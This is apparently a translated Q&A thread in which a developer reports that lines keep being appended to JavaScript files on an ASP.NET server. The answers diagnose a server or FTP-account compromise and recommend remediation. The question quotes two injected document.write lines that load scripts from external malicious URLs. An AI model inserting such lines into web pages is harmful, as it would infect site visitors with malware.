我需要知道是否有任何方法可以为服务器上已部署的JavaScript文件编写其他代码。
我遇到了ASP.NET 2.0网站的问题,它与我在某些页面上的JavaScript文件有关。问题是,当我将JavaScript文件与其他文件一起上传时,它可以正常工作,但是在一段时间(一两天)之后,JavaScript文件会被更改,并且每个文件底部会添加两行。这两行是这样的:
document.write('<script src=http://kingsoftus.com/App_Code/tsx2.php ><\/script>');
document.write('<script src=http://eco-battery.co.uk/images/battguide.php ><\/script>');
这导致我的aspx
页面从这些未知网址加载内容。这个东西会导致错误,并且aspx页面不会被加载或加载错误。我怀疑服务器上有问题,但我需要知道是否有人(病毒或黑客)可以将这两行添加到服务器上的任何JavaScript文件中。
答案 0 :(得分:10)
您的服务器遭到入侵。添加的链接指向恶意软件标记的网站。最安全的方法是擦除服务器并从备份恢复。如果您没有自己的服务器维护,请尽快联系那些做过的人,并告知他们感染情况。关闭服务器以避免感染访问您网站的人。
关于导致感染的原因,一些研究可能会为您所看到的签名提供具体信息。它可能是从旧的,未修补的库到代码中的XSS漏洞,以及受感染的闪存驱动器的粗心员工。
编辑:您在评论中说您没有管理服务器。虽然提供程序正在评估感染,但请评估代码是否存在可能的漏洞。这是一篇MSDN文章(How To: Prevent Cross-Site Scripting in ASP.NET)。一个较旧的SO问题(What should a developer know before building a public web site?)有一些很好的答案,涉及安全方面。
答案 1 :(得分:3)
有很多可能性:
如果你对这些问题的回答都是肯定的,那就是一个潜在的漏洞。不,问题可能不适用于ASP.NET或IIS;它可能是你代码中的漏洞。
答案 2 :(得分:1)
有一百万种方法可以搞砸安全性。有人可以访问ftp吗?服务器管理员搞砸了吗?不安全的上传/下载脚本,可公开写入的目录?一些蹩脚的cronjob不加选择地maul文件?我不知道。你运行服务器了吗?
备份所有内容,更改所有密码,检查您的上传/下载脚本是否安全,检查所有内容的权限 - 或者移动到其他服务器/恢复(如果它是您的)。实际上只是做最后一件事,然后检查其余的事情,因为这是一个“代码红”的事情。
编辑:现在用更少的linux
答案 3 :(得分:1)
我同意现有的关于保护aganist XSS和SQL注入的重要性的帖子。
但是,我在这种情况下的第一个猜测是FTP帐户泄密。目前有很多这方面的内容。特洛伊木马感染客户端计算机并窃取存储在已保存帐户中或登录时生效的FTP密码。然后,一个自动化工具最终会使用被盗帐户登录到您的服务器并更改文件以包含恶意软件漏洞的链接(通常安装相同的客户端密码窃取木马)。
因此,除了确保服务器和应用程序代码是安全的之外,还需要确保用于登录FTP帐户的所有计算机都是干净的。你的机器不干净只是因为一个反病毒工具这么认为:现在AV在检测大范围的实时恶意软件时绝对没有希望,甚至更糟糕的是删除它。获取多个AV检查器的意见,如果你曾经感染过机器之前认为它仍然被感染并重新安装操作系统,因为AV很可能没有完全清除它。
从长远来看,锁定用于开发的客户端(卸载插件,增加安全设置,确保所有面向网络的软件都是最新的)并使用SFTP将文件上传到服务器。 2009年没有人应该使用FTP。